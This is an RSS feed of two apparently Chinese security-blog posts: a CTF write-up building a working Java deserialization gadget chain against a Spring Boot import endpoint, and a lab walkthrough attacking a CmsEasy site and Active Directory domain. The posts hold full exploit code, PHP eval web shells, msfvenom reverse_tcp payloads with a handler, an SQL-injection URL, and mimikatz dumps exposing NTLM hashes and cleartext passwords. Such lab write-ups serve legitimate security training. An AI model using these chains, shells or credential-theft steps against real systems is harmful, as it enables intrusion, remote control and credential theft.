<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:atom="http://www.w3.org/2005/Atom"
>
<channel>
<title><![CDATA[YD233的博客]]></title> 
<atom:link href="http://yd233.top/rss.php" rel="self" type="application/rss+xml" />
<description><![CDATA[HUTB]]></description>
<link>http://yd233.top/</link>
<language>zh-cn</language>
<generator>emlog</generator>

<item>
    <title>【MOECTF2025】第二十三章 幻境迷心·皇陨星沉(大结局)</title>
    <link>http://yd233.top/?post=36</link>
    <description><![CDATA[<p>两个环境解释：</p>
<p>题目在容器dog-app(环境里只有sh,反弹shell时建议使用nc)</p>
<p>rev-shel(堡垒机)请使用ssh（root:root123）登录, 可以做反弹shell（请用nc）或外带数据的服务端 (两容器完全共享同一个网卡，相互访问ip都是127.0.0.1，但端口不要冲突)</p>
<p>省流：题目环境使用openjdk8</p>
<p>题目是一个 SpringBoot 的一个项目，结构也非常的简单易懂，我觉得没有接触过 Spring 开发的同学应该也能看懂：</p>
<pre><code class="language-markdown">controller/
    DogController
Dog/
    Dog
    DogModel
    DogService
Demo3Application</code></pre>
<p>项目做的是一个狗狗管理系统，细节不展开。我们先从 Controller 入手，重点关注“导入/导出”。</p>
<pre><code class="language-java">    @GetMapping({"/export"})
    public String exportDogs() {
        return this.dogService.exportDogsBase64();
    }

    @PostMapping({"/import"})
    public String importDogs(@RequestParam("data") String base64Data) {
        this.dogService.importDogsBase64(base64Data);
        return "导入成功！";
    }</code></pre>
<p>着重查看导入</p>
<p>导入逻辑里，Base64 解码后会直接反序列化：</p>
<pre><code class="language-java">public class DogService implements Serializable {
    private Map&lt;Integer, Dog&gt; dogs = new HashMap();
    private int nextId = 1;

    // ...

    public void importDogsBase64(String base64Data) {
        try {
            ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(base64Data));
            ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
            Throwable th2 = null;
            try {
                try {
                    // --- FIX START: ensure proper typing of deserialized collection ---
                      // 注：此处用 AI 修复了部分问题
                    @SuppressWarnings("unchecked")
                    Collection&lt;Dog&gt; importedDogs = (Collection&lt;Dog&gt;) objectInputStream.readObject();
                    for (Dog dog : importedDogs) {
                        int i = this.nextId;
                        this.nextId = i + 1;
                        dog.setId(i);
                        this.dogs.put(dog.getId(), dog);
                    }
                    // --- FIX END ---
                    objectInputStream.close();
                    byteArrayInputStream.close();

                    // ...</code></pre>
<p>反序列化期望的是一个 <code>Collection</code> （而不是 <code>DogService</code> 里面的 <code>Map</code> 类型），然后输入回 <code>dogs</code> 里面。那么接下来我们就需要寻找一些关键的信息来看看如何才能通过这个反序列化来命令执行了。</p>
<p>接着看 <code>Dog</code> 与 <code>DogModel</code>：</p>
<pre><code class="language-java">public class Dog implements Serializable, DogModel {
    private int id;
    private String name;
    private String breed;
    private int age;
    private int hunger = 50;
    Object object;
    String methodName;
    Class[] paramTypes;
    Object[] args;

    public Dog(int id, String name, String breed, int age) {
        this.id = id;
        this.name = name;
        this.breed = breed;
        this.age = age;
    }

// ...

    public int hashCode() {
        wagTail(this.object, this.methodName, this.paramTypes, this.args);
        return Objects.hash(this.id);
    }
}
</code></pre>
<p><code>wagTail</code> 的默认实现：</p>
<pre><code class="language-java">default Object wagTail(Object input, String methodName, Class[] paramTypes, Object[] args) {
    try {
        Class&lt;?&gt; cls = input.getClass();
        Method method = cls.getMethod(methodName, paramTypes);
        return method.invoke(input, args);
    } catch (Exception e) {
        e.printStackTrace();
        return null;
    }
}</code></pre>
<p>显然这里就是命令执行点：通过动态传入“对象实例 + 方法名 + 参数类型 + 参数”，可以对任意对象调用任意公共方法。如果你熟悉 CC 链，这段代码会让你非常眼熟。</p>
<p>调用位置有两个：<code>Dog.hashCode()</code> 与 <code>DogService.chainWagTail()</code>。</p>
<p><img src="attachment:14d92aca-8bd2-449d-b33c-3decc5b84e85:image.png" alt="image.png" /></p>
<p>分别是刚刚的 Dog 类以及 DogService 类</p>
<pre><code class="language-java">    public int hashCode() {
        wagTail(this.object, this.methodName, this.paramTypes, this.args);
        return Objects.hash(this.id);
    }</code></pre>
<pre><code class="language-java">    public Object chainWagTail() {
        Object input = null;
        for (Dog dog : this.dogs.values()) {
            if (input == null) {
                input = dog.object;
            }
            input = dog.wagTail(input, dog.methodName, dog.paramTypes, dog.args);
        }
        return input;
    }</code></pre>
<p>我们需要一个可靠的方式触发 <code>hashCode()</code>。<code>HashMap</code> 在插入时确实会调用 key 的 <code>hashCode()</code>，但这里 <code>dogs</code> 的 key 是 <code>Integer</code>，不是 <code>Dog</code>，所以行不通。</p>
<p>幸运的是，反序列化入口要求的是 <code>Collection</code>。选择 <code>HashSet</code> 更合适：<code>HashSet</code> 需要用元素的 <code>hashCode()</code> 来判断是否重复，因此在反序列化重建结构时，会对元素进行 <code>hashCode()</code> 计算，从而触发我们在 <code>Dog.hashCode()</code> 中埋下的 <code>wagTail</code> 调用。</p>
<p>一个最初始的利用思路：</p>
<pre><code>readObject()
  -&gt; Dog.hashCode()
      -&gt; Dog.wagTail()
          -&gt; Runtime.exec("...")</code></pre>
<p>不过别忘了：<code>Runtime</code> 本身不可序列化；并且 <code>hashCode()</code> 的返回值是 <code>int</code>，不是 <code>wagTail</code> 的返回值。所以我们需要链式调用来“接力”把结果一路传下去，这就轮到 <code>chainWagTail()</code> 出场（它很像 CC1 里的 <code>ChainedTransformer.transform()</code>）。</p>
<pre><code class="language-java">    public Object chainWagTail() {
        Object input = null;
        for (Dog dog : this.dogs.values()) {
            if (input == null) {
                input = dog.object;
            }
            input = dog.wagTail(input, dog.methodName, dog.paramTypes, dog.args);
        }
        return input;
    }</code></pre>
<p>思路分四步：</p>
<ol>
<li><code>Class.forName("java.lang.Runtime")</code> 获取 <code>Runtime</code> 的 <code>Class</code> 对象。</li>
<li>在上一步返回的 <code>Class</code> 上调用 <code>getMethod("getRuntime", new Class[0])</code> 获取 <code>Method</code> 实例。</li>
<li>用该 <code>Method.invoke(null, new Object[0])</code> 得到 <code>Runtime</code> 实例。</li>
<li>调用 <code>Runtime.exec("open -a Calculator")</code> 执行命令。</li>
</ol>
<p>写成代码大概是这样子</p>
<pre><code class="language-java">Class aClass = Class.forName("java.lang.Runtime");
Method runtime = aClass.getMethod("getRuntime", new Class[0]);
Runtime r = (Runtime) runtime.invoke(null, new Object[0]);
r.exec("open -a Calculator");</code></pre>
<p>当然，如果我们要写进dog 里面更麻烦，单单是第一个就得写成下面这个样子</p>
<pre><code class="language-java">                Class&lt;?&gt; c = Dog.class;
        Dog dog = new Dog(1,"1","1",1);

        Field obj = c.getDeclaredField("object");
        obj.setAccessible(true);
        obj.set(dog,Class.class);

        Field mName = c.getDeclaredField("methodName");
        mName.setAccessible(true);
        mName.set(dog,"forName");

        Field pTypes = c.getDeclaredField("paramTypes");
        pTypes.setAccessible(true);
        pTypes.set(dog,new Class[]{String.class});

        Field arg = c.getDeclaredField("args");
        arg.setAccessible(true);
        arg.set(dog,new Object[]{"java.lang.Runtime"});
</code></pre>
<p>所以我们很有必要写一个函数来帮我们快速用反射创建 Dog 的实例。</p>
<pre><code class="language-java">public static Dog dogc(Object input, String methodName, Class[] paramTypes, Object[] args) throws Exception {
    Class&lt;?&gt; c = Dog.class;
    Dog dog = new Dog(1, "1", "1", 1);

    Field obj = c.getDeclaredField("object");
    obj.setAccessible(true);
    obj.set(dog, input);

    Field mName = c.getDeclaredField("methodName");
    mName.setAccessible(true);
    mName.set(dog, methodName);

    Field pTypes = c.getDeclaredField("paramTypes");
    pTypes.setAccessible(true);
    pTypes.set(dog, paramTypes);

    Field arg = c.getDeclaredField("args");
    arg.setAccessible(true);
    arg.set(dog, args);

    return dog;
}</code></pre>
<p>那么创建满足我们需求的 Dog 实例的代码就可以变成这样了</p>
<pre><code class="language-java">//        Class aClass = Class.forName("java.lang.Runtime");
//        Method runtime  = aClass.getMethod("getRuntime",new Class[0]);
//        Runtime r = (Runtime) runtime.invoke(null, new Object[0]);
//        r.exec("open -a calculator");

Dog dog1 = dogc(Class.class, "forName", new Class[]{String.class}, new Object[]{"java.lang.Runtime"});
Dog dog2 = dogc(null, "getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]});
Dog dog3 = dogc(null, "invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]});
Dog dog4 = dogc(null, "exec", new Class[]{String.class}, new Object[]{"open -a Calculator"});</code></pre>
<p><code>chainWagTail()</code> 会把每一步的返回值作为下一步的输入，从而把整条调用链接起来。</p>
<p>将 <code>dogs</code> 填进 <code>DogService</code>，再构造一个会触发链的 <code>Dog</code>，最后塞进 <code>HashSet</code> 并序列化成 Base64：</p>
<pre><code class="language-java">DogService dogService = new DogService();

HashMap&lt;Integer, Dog&gt; dogs = new HashMap&lt;&gt;();
dogs.put(1, dog1);
dogs.put(2, dog2);
dogs.put(3, dog3);
dogs.put(4, dog4);

Class&lt;?&gt; cls = DogService.class;
Field field = cls.getDeclaredField("dogs");
field.setAccessible(true);
field.set(dogService, dogs);

Dog trigger = dogc(dogService, "chainWagTail", new Class[0], new Object[0]);

Set&lt;Dog&gt; dogSet = new HashSet&lt;&gt;();
dogSet.add(trigger);

try (ByteArrayOutputStream baos = new ByteArrayOutputStream();
     ObjectOutputStream oos = new ObjectOutputStream(baos)) {
    oos.writeObject(dogSet);
    oos.flush();
    String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
    System.out.println(base64String);
} catch (IOException e) {
    e.printStackTrace();
}</code></pre>
<p>注意：<code>dogSet.add(trigger)</code> 这一步在本地就会触发一次 <code>hashCode()</code>，因此会执行一次命令。如果介意，可以包一层自定义包装类。</p>
<p>这个时候，全部链路都串通了，恭喜成功完成了这条链子的编写！</p>]]></description>
    <pubDate>Tue, 30 Sep 2025 14:16:47 +0800</pubDate>
    <dc:creator>YD233</dc:creator>
    <guid>http://yd233.top/?post=36</guid>
</item>
<item>
    <title>cyberstirkelab-LAB9 (AD-CS 攻击)</title>
    <link>http://yd233.top/?post=35</link>
    <description><![CDATA[<h1>lab9</h1>
<p>lab9 点击进入之后给出的 ip 是 <a href="http://172.5.33.6/">172.5.33.6</a></p>
<p>首先进行必要的信息收集</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image.png" alt="image.png" /></p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image%201.png" alt="image.png" /></p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image%202.png" alt="image.png" /></p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image%203.png" alt="image.png" /></p>
<p>再进行端口扫描</p>
<pre><code class="language-bash">➜  ~ sudo nmap -sS -p- --min-rate=1000 -T4 172.5.33.6 -e utun4
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-28 03:12 CST
Nmap scan report for 172.5.33.6
Host is up (0.046s latency).
Not shown: 65521 closed tcp ports (reset)
PORT      STATE SERVICE
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3306/tcp  open  mysql
5985/tcp  open  wsman
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49668/tcp open  unknown
49669/tcp open  unknown
49670/tcp open  unknown</code></pre>
<p>看起来只有 80 和 3306 有扫描漏洞的价值，lab9 应该是不存在永恒之蓝了</p>
<pre><code class="language-bash">sudo nmap -sS -sV -sC -A -p 80,3306 --min-rate=1000 -T4 172.5.33.6 -e utun4</code></pre>
<p>nmap 扫描了就得到一个有用的信息</p>
<p><code>|_http-generator: CmsEasy 7_7_5_20211012_UTF8</code></p>
<p>再看看 fscan 呢</p>
<p>有用的信息是</p>
<p><code>[*]172.5.33.6 [-&gt;]WIN-784BAKDI0AC [-&gt;]172.5.33.6 [-&gt;]10.6.6.10</code></p>
<p>看来是没啥用了</p>
<p>目前已知条件</p>
<ul>
<li>网站是 CmsEasy ，版本7.7.5</li>
<li>服务器是 windows 机器</li>
<li>使用 mysql 数据库</li>
<li>管理员邮箱可能是 <a href="mailto:admin@admin.com">admin@admin.com</a></li>
</ul>
<p>只能从这个 cms 下手了</p>
<p>首先是后台，这边看到登录多次之后有验证码了，暂时先看看能不能有别的方式能够得到密码</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image%204.png" alt="image.png" /></p>
<p>找了老半天，终于找到一个 sql 注入的漏洞，</p>
<p><a href="https://github.com/MzzdToT/CmsEasy_sql/tree/main">MzzdToT/CmsEasy_sql: CmsEasy SQL注入漏洞批量扫描工具</a></p>
<p><a href="http://172.5.33.6/?case=crossall&amp;act=execsql&amp;sql=Ud-ZGLMFKBOhqavNJNK5WRCu9igJtYN1rVCO8hMFRM8NIKe6qmhRfWexXUiOqRN4aCe9aUie4Rtw5">http://172.5.33.6/?case=crossall&amp;act=execsql&amp;sql=Ud-ZGLMFKBOhqavNJNK5WRCu9igJtYN1rVCO8hMFRM8NIKe6qmhRfWexXUiOqRN4aCe9aUie4Rtw5</a></p>
<p>可以直接得到</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image%205.png" alt="image.png" /></p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image%206.png" alt="image.png" /></p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image%207.png" alt="image.png" /></p>
<p>看看安全里面能不能让 PHP 文件上传</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image%208.png" alt="image.png" /></p>
<p>显然不行</p>
<p>看了一下，这里设置里面的添加第三方代码可以植入 php 代码</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image%209.png" alt="image.png" /></p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image%2010.png" alt="image.png" /></p>
<p>那么就可以上 shell 了</p>
<p>这个过程中我遇到一个很逆天的问题，但是我不知道为什么</p>
<p>使用</p>
<p><code>&lt;?php eval($_POST['pass’]);?&gt;</code></p>
<p>这种的木马的时候，会报错，显示</p>
<pre><code class="language-bash">Parse error: syntax error, unexpected '&amp;', expecting identifier (T_STRING) in C:\phpstudy_pro\WWW\cache\cn\template\default2020\common\plugins\public\#foot-js.php(4) : eval()'d code on line 1</code></pre>
<p>但是使用</p>
<pre><code class="language-bash">&lt;?php eval($_REQUEST["pass"]); ?&gt;</code></pre>
<p>就莫名其妙可以了</p>
<p>使用 ant sword 连接上之后，直接读取flag 就可以了</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image%2011.png" alt="image.png" /></p>
<p>但是好像哪里都没权限来进行操作，没法上传 stowaway，先上一个 msf 来提权然后上传 stowaway 吧</p>
<pre><code class="language-bash">msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.233.2 LPORT=4444 -f exe -o 木马/reverse.exe

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -f exe -o 木马/reverse2.exe</code></pre>
<pre><code class="language-bash">use multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 172.16.233.2
set lport 4444
run</code></pre>
<p>msf内进行以下操作</p>
<pre><code class="language-bash">getsystem
upload /Users/zhujiayi/Desktop/Stowaway/windows_x64_agent.exe C:\\sto.exe
shell</code></pre>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image%2012.png" alt="image.png" /></p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image%2013.png" alt="image.png" /></p>
<p>有个 mysql 服务，别忘记看看里面有什么东西，似乎无法打开 mysql 的交互式终端，要么 rdp 连上去，要么就像我这样一条一条执行：</p>
<pre><code class="language-bash">C:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\bin\\mysql -u eyou -pcyberstrike@2024 -e "show databases;"</code></pre>
<pre><code class="language-bash">C:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\bin\\mysql -u eyou -pcyberstrike@2024 -e "use eyou; select * from cmseasy_user;"</code></pre>
<pre><code class="language-bash">userid  username    password    nickname    groupid checked qqlogin alipaylogin wechatlogin avatar  userip  state   qq  e_mail  address tel question    answer  intro   point   introducer  regtime sex isblock isdelete    headimage           integration couponidnum collect menoy   adddatetime notifiid    templatelang    adminlang   buyarchive  adminlangdomain templatelangdomain  expired_time
1   admin   a66abb5684c45962d887564f08346e8d    管理员 2   1       01111   admin@qq.com    admin   admin               0   0   0   00  /html/upload/images/201907/15625455867367.png   0   17:0:1  2,4,3,46,14,73  100.07  2021-09-01 00:00:00     cn  cn              0
</code></pre>
<p>看来前面的邮箱和实际的管理员邮箱对不上。</p>
<p>数据库里面似乎也没有什么有价值的信息了</p>
<p>上传一个 fscan，开始扫描内网</p>
<pre><code class="language-bash">fscan -h 10.6.6.55 -p 1-65536

   ___                              _
  / _ \     ___  ___ _ __ __ _  ___| | __
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   &lt;
\____/     |___/\___|_|  \__,_|\___|_|\_\
                     fscan version: 1.8.4
start infoscan
10.6.6.55:593 open
10.6.6.55:464 open
10.6.6.55:445 open
10.6.6.55:389 open
10.6.6.55:139 open
10.6.6.55:135 open
10.6.6.55:88 open
10.6.6.55:80 open
10.6.6.55:53 open
10.6.6.55:636 open
10.6.6.55:3269 open
10.6.6.55:3268 open
10.6.6.55:5985 open
10.6.6.55:9389 open
10.6.6.55:49669 open
10.6.6.55:49668 open
10.6.6.55:49665 open
10.6.6.55:49672 open
10.6.6.55:49670 open
10.6.6.55:49681 open
10.6.6.55:49710 open
[*] alive ports len is: 21
start vulscan
已完成 1/21 [-] webtitle http://10.6.6.55:3268 Get "http://10.6.6.55:3268": read tcp 10.6.6.10:50471-&gt;10.6.6.55:3268: wsarecv: An existing connection was forcibly closed by the remote host.
[*] OsInfo 10.6.6.55    (Windows Server 2016 Standard 14393)
[*] WebTitle http://10.6.6.55:5985     code:404 len:315    title:Not Found
[*] NetInfo
[*]10.6.6.55
   [-&gt;]DC
   [-&gt;]10.6.6.55
[*] WebTitle http://10.6.6.55          code:200 len:703    title:IIS Windows Server
[+] PocScan http://10.6.6.55 poc-yaml-active-directory-certsrv-detect
已完成 21/21</code></pre>
<pre><code class="language-bash">fscan -h 10.6.6.88 -p 1-65536

   ___                              _
  / _ \     ___  ___ _ __ __ _  ___| | __
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   &lt;
\____/     |___/\___|_|  \__,_|\___|_|\_\
                     fscan version: 1.8.4
start infoscan
10.6.6.88:445 open
10.6.6.88:139 open
10.6.6.88:135 open
10.6.6.88:3389 open
10.6.6.88:5985 open
10.6.6.88:47001 open
10.6.6.88:49667 open
10.6.6.88:49666 open
10.6.6.88:49665 open
10.6.6.88:49664 open
10.6.6.88:49672 open
10.6.6.88:49671 open
10.6.6.88:49670 open
10.6.6.88:49669 open
10.6.6.88:49668 open
[*] alive ports len is: 15
start vulscan
[*] NetInfo
[*]10.6.6.88
   [-&gt;]cyberweb
   [-&gt;]10.6.6.88
[*] NetBios 10.6.6.88       cyberweb.cyberstrikelab.com         Windows Server 2016 Standard 14393
[*] OsInfo 10.6.6.88    (Windows Server 2016 Standard 14393)
[*] WebTitle http://10.6.6.88:47001    code:404 len:315    title:Not Found
[*] WebTitle http://10.6.6.88:5985     code:404 len:315    title:Not Found</code></pre>
<p>通过扫描结果来看，只有10.6.6.55有攻击的可能，而且入口点可能在 web 服务上</p>
<p>访问 web 页面</p>
<p>10.6.6.55</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image%2014.png" alt="image.png" /></p>
<p>是一个白板的 IIS，可能需要扫描目录？</p>
<p>目录扫描也没有任何结果，再想想办法</p>
<p>再扫描了一遍之后 88 的机器居然存在 SMB 弱口令</p>
<pre><code class="language-bash">[5.4s] [+] SMB认证成功 10.6.6.88:445 administrator:qwe123!@#</code></pre>
<p>使用 impacket 工具包中的 <a href="smbexec.py">smbclient.py</a> 验证一下</p>
<p><a href="http://smbexec.py/">smbexec.py</a> <a href="mailto:administrator@10.6.6.88">administrator@10.6.6.88</a></p>
<p>输入指令之后输入密码即可执行命令</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image%2015.png" alt="image.png" /></p>
<p>既然这个密码都出来了，3389 也是开启的，那么应该可以进行RDP 登录</p>
<p>通过 RDP 连接，然后把 mimikatz 上传到 web 机器，再通过 rdp 操作浏览器来下载mimikatz 进行快捷的管理</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image%2016.png" alt="image.png" /></p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image%2017.png" alt="image.png" /></p>
<p>接下来想办法打第三台机器</p>
<p>首先把木马传到第三台机器上，我这边直接传 stowaway 了，也能执行 shell</p>
<p>windows 应该可以 rdp 直接传，我这边还需要把 stowaway 传到入口机那边，然后再下载，这样子才可以传文件。</p>
<p>再传个 mimikatz读一下 hash</p>
<p>这个教程网上比较多，就不赘述了</p>
<pre><code class="language-bash">C:\&gt;mimikatz.exe
mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #18362 Feb 29 2020 11:13:36
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       &gt; http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        &gt; http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 293509 (00000000:00047a85)
Session           : Interactive from 0
User Name         : cslab
Domain            : CYBERSTRIKELAB
Logon Server      : DC
Logon Time        : 2025/7/28 23:59:07
SID               : S-1-5-21-4286488488-1212600890-1604239976-1104
    msv :
     [00000003] Primary
     * Username : cslab
     * Domain   : CYBERSTRIKELAB
     * NTLM     : 39b0e84f13872f51efb3b8ba5018c517
     * SHA1     : fa6a465532224cc4f1fa5094424bf219d25b7463
     * DPAPI    : 432dfb0f990f2cc292b2fd09468aab5e
    tspkg :
    wdigest :
     * Username : cslab
     * Domain   : CYBERSTRIKELAB
     * Password : (null)
    kerberos :
     * Username : cslab
     * Domain   : CYBERSTRIKELAB.COM
     * Password : cs1ab@wwe
    ssp :
    credman :

Authentication Id : 0 ; 51092 (00000000:0000c794)
Session           : Interactive from 1
User Name         : DWM-1
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2025/7/28 15:57:42
SID               : S-1-5-90-0-1
    msv :
     [00000003] Primary
     * Username : CYBERWEB$
     * Domain   : CYBERSTRIKELAB
     * NTLM     : 331dcbb88d1a4847c97eab7c1c168ac8
     * SHA1     : 0a4c17b8f051223716e86c36f1dec902e266c773
    tspkg :
    wdigest :
     * Username : CYBERWEB$
     * Domain   : CYBERSTRIKELAB
     * Password : (null)
    kerberos :
     * Username : CYBERWEB$
     * Domain   : cyberstrikelab.com
     * Password : I@w2(l8:$e9`bRA7&amp;$Rxd^f@6+_,hg\L)&amp;Ck6he8vlsS7*=[e*%bh-wZ.,$HV(0^!/q0eY=sDH_1)6jK3v;#%kt[5YSXt3$y/;R(wAqp1p_`""m=o:Q;HtsY
    ssp :
    credman :

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : CYBERWEB$
Domain            : CYBERSTRIKELAB
Logon Server      : (null)
Logon Time        : 2025/7/28 15:57:40
SID               : S-1-5-20
    msv :
     [00000003] Primary
     * Username : CYBERWEB$
     * Domain   : CYBERSTRIKELAB
     * NTLM     : 920b50d415293af20c90081902d5a230
     * SHA1     : 7015ad57cbfd8c1b5ed1817aae76968ec514623f
    tspkg :
    wdigest :
     * Username : CYBERWEB$
     * Domain   : CYBERSTRIKELAB
     * Password : (null)
    kerberos :
     * Username : cyberweb$
     * Domain   : CYBERSTRIKELAB.COM
     * Password : 38 5f 72 f0 99 f1 c7 7b e3 1c d4 62 0f 41 69 46 52 9d 2f 87 d3 a1 6f 6c 2f 1d 50 20 c7 f4 76 b1 e5 fb 98 c6 0c 7c 68 61 a1 a0 8c 98 fc 41 16 49 da 7d 1c 67 6f 43 3a 70 60 70 7b e1 54 ba 02 22 1e eb 9c 90 57 52 ef 24 a2 88 b0 39 84 8d dc b2 db b8 28 55 2c 4c 51 aa 57 eb ba 32 d7 24 d7 1e 6e 51 b2 9d b3 3b b4 98 1d 3b d6 01 0d 0c 43 94 cb 58 32 f0 b5 1f a0 e0 8a 76 b1 35 70 a8 b2 54 de 09 b5 d8 75 51 64 03 da 30 09 fc ea a6 ca db de a7 85 02 74 5c 3f 77 44 a9 cb 7a c9 c5 03 d4 df e4 db 2c 73 83 aa 09 d6 1c ad 7f 5e 20 d1 5e ca 01 41 8c 92 a3 55 ab bb 80 8d 5b bd 72 ba 7a 3c ea 5a 15 48 d2 22 98 6b 71 1d 25 51 c7 6b 4d 24 e5 3a 94 2e 38 cb 7d 40 96 ee 80 90 27 e7 25 b0 dd f4 21 61 58 de 67 bc 47 08 c3 fd 98 ef 1c
    ssp :
    credman :

Authentication Id : 0 ; 23243 (00000000:00005acb)
Session           : UndefinedLogonType from 0
User Name         : (null)
Domain            : (null)
Logon Server      : (null)
Logon Time        : 2025/7/28 15:57:39
SID               :
    msv :
     [00000003] Primary
     * Username : CYBERWEB$
     * Domain   : CYBERSTRIKELAB
     * NTLM     : 920b50d415293af20c90081902d5a230
     * SHA1     : 7015ad57cbfd8c1b5ed1817aae76968ec514623f
    tspkg :
    wdigest :
    kerberos :
    ssp :
    credman :

Authentication Id : 0 ; 1678734 (00000000:00199d8e)
Session           : Interactive from 3
User Name         : DWM-3
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2025/7/28 18:22:27
SID               : S-1-5-90-0-3
    msv :
     [00000003] Primary
     * Username : CYBERWEB$
     * Domain   : CYBERSTRIKELAB
     * NTLM     : 920b50d415293af20c90081902d5a230
     * SHA1     : 7015ad57cbfd8c1b5ed1817aae76968ec514623f
    tspkg :
    wdigest :
     * Username : CYBERWEB$
     * Domain   : CYBERSTRIKELAB
     * Password : (null)
    kerberos :
     * Username : CYBERWEB$
     * Domain   : cyberstrikelab.com
     * Password : 38 5f 72 f0 99 f1 c7 7b e3 1c d4 62 0f 41 69 46 52 9d 2f 87 d3 a1 6f 6c 2f 1d 50 20 c7 f4 76 b1 e5 fb 98 c6 0c 7c 68 61 a1 a0 8c 98 fc 41 16 49 da 7d 1c 67 6f 43 3a 70 60 70 7b e1 54 ba 02 22 1e eb 9c 90 57 52 ef 24 a2 88 b0 39 84 8d dc b2 db b8 28 55 2c 4c 51 aa 57 eb ba 32 d7 24 d7 1e 6e 51 b2 9d b3 3b b4 98 1d 3b d6 01 0d 0c 43 94 cb 58 32 f0 b5 1f a0 e0 8a 76 b1 35 70 a8 b2 54 de 09 b5 d8 75 51 64 03 da 30 09 fc ea a6 ca db de a7 85 02 74 5c 3f 77 44 a9 cb 7a c9 c5 03 d4 df e4 db 2c 73 83 aa 09 d6 1c ad 7f 5e 20 d1 5e ca 01 41 8c 92 a3 55 ab bb 80 8d 5b bd 72 ba 7a 3c ea 5a 15 48 d2 22 98 6b 71 1d 25 51 c7 6b 4d 24 e5 3a 94 2e 38 cb 7d 40 96 ee 80 90 27 e7 25 b0 dd f4 21 61 58 de 67 bc 47 08 c3 fd 98 ef 1c
    ssp :
    credman :

Authentication Id : 0 ; 1678718 (00000000:00199d7e)
Session           : Interactive from 3
User Name         : DWM-3
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2025/7/28 18:22:27
SID               : S-1-5-90-0-3
    msv :
     [00000003] Primary
     * Username : CYBERWEB$
     * Domain   : CYBERSTRIKELAB
     * NTLM     : 920b50d415293af20c90081902d5a230
     * SHA1     : 7015ad57cbfd8c1b5ed1817aae76968ec514623f
    tspkg :
    wdigest :
     * Username : CYBERWEB$
     * Domain   : CYBERSTRIKELAB
     * Password : (null)
    kerberos :
     * Username : CYBERWEB$
     * Domain   : cyberstrikelab.com
     * Password : 38 5f 72 f0 99 f1 c7 7b e3 1c d4 62 0f 41 69 46 52 9d 2f 87 d3 a1 6f 6c 2f 1d 50 20 c7 f4 76 b1 e5 fb 98 c6 0c 7c 68 61 a1 a0 8c 98 fc 41 16 49 da 7d 1c 67 6f 43 3a 70 60 70 7b e1 54 ba 02 22 1e eb 9c 90 57 52 ef 24 a2 88 b0 39 84 8d dc b2 db b8 28 55 2c 4c 51 aa 57 eb ba 32 d7 24 d7 1e 6e 51 b2 9d b3 3b b4 98 1d 3b d6 01 0d 0c 43 94 cb 58 32 f0 b5 1f a0 e0 8a 76 b1 35 70 a8 b2 54 de 09 b5 d8 75 51 64 03 da 30 09 fc ea a6 ca db de a7 85 02 74 5c 3f 77 44 a9 cb 7a c9 c5 03 d4 df e4 db 2c 73 83 aa 09 d6 1c ad 7f 5e 20 d1 5e ca 01 41 8c 92 a3 55 ab bb 80 8d 5b bd 72 ba 7a 3c ea 5a 15 48 d2 22 98 6b 71 1d 25 51 c7 6b 4d 24 e5 3a 94 2e 38 cb 7d 40 96 ee 80 90 27 e7 25 b0 dd f4 21 61 58 de 67 bc 47 08 c3 fd 98 ef 1c
    ssp :
    credman :

Authentication Id : 0 ; 136330 (00000000:0002148a)
Session           : Interactive from 1
User Name         : Administrator
Domain            : CYBERWEB
Logon Server      : CYBERWEB
Logon Time        : 2025/7/28 15:58:23
